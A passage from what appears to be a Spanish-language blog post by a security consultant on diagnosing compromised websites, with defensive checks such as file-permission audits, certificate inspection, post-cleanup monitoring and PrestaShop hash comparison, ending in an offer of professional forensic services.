    El 90% de los backdoors contienen al menos una de estas funciones. Es raro encontrar código legítimo que las use.

    Auditoría de permisos de archivos y propietarios

    Un ataque exitoso casi siempre requiere cambiar permisos de archivos. Un archivo .php que debería ser 644 pero es 777 es una bandera roja. Ejecuto:

    find . -type f -perm 777 -o -type f -perm 666

    Cualquier archivo con permisos de escritura global es sospechoso.

    También verifico propietarios:

    find . -not -user usuario_www -type f

    Si hay archivos propiedad de «root» o un usuario extraño en una carpeta que el servidor debería controlar, algo ocurrió.

    Inspección de certificados SSL y conexiones externas

    Atacantes modernos a menudo redirigen tráfico hacia servidores C2 (command and control). Inspecciono:

    openssl s_client -connect dominio.com:443

    Verifico que el certificado es legítimo y que no hay MITM (man-in-the-middle). También busco configuraciones de DNS sospechosas o modificaciones en .htaccess que redirijan tráfico.

    Monitoreo continuo vs. diagnóstico puntual

    El diagnóstico profesional no es un evento único. Después de detectar y limpiar un ataque, configuro monitoreo permanente. Wordfence en modo «monitoring» revisa cambios de archivos diariamente. Sucuri proporciona alertas de malware. Google Search Console notifica si hay malware detectado nuevamente.

    Lo que aprendí después de limpiar cientos de webs es que el 40% de los sites reinfectados lo fueron porque no se configuró vigilancia post-limpieza.

    Herramientas específicas para PrestaShop

    Si tu problema es PrestaShop, el enfoque es ligeramente distinto. Busco modificaciones en /classes/, inyecciones en /modules/, y especialmente en módulos de pago comprometidos. La herramienta más útil es una auditoría manual de hashes de archivos comparándola con la versión oficial de PrestaShop descargada directamente desde su web.

    El diagnóstico que no puedes hacer solo

    Estas herramientas te dan visibilidad. Pero cuando encuentras un backdoor bien ofuscado, o cuando necesitas reconstruir un ataque APT (Advanced Persistent Threat) para entender cómo los atacantes mantuvieron acceso durante meses, necesitas análisis forense profesional. Yo combino estas herramientas con análisis manual de código, ingeniería inversa de malware, y reconstrucción de cadenas de ataque.

    Si tu sitio ha sido comprometido o sospechas que lo está, estas herramientas te dan un diagnóstico inicial. Pero si necesitas garantía de que está completamente limpio, si necesitas investigación forense de un ataque sofisticado, o si el malware está bien oculto, contacta conmigo para un diagnóstico profesional completo. Ejecuto análisis manual, verifico cada línea de código sospechosa, audito permisos, inspecciono logs históricos, y te doy un reporte detallado de qué pasó, cómo entró, y cómo garantizar que no vuelva.

    El coste de no diagnosticar correctamente es mucho mayor que el de hacerlo bien desde el principio.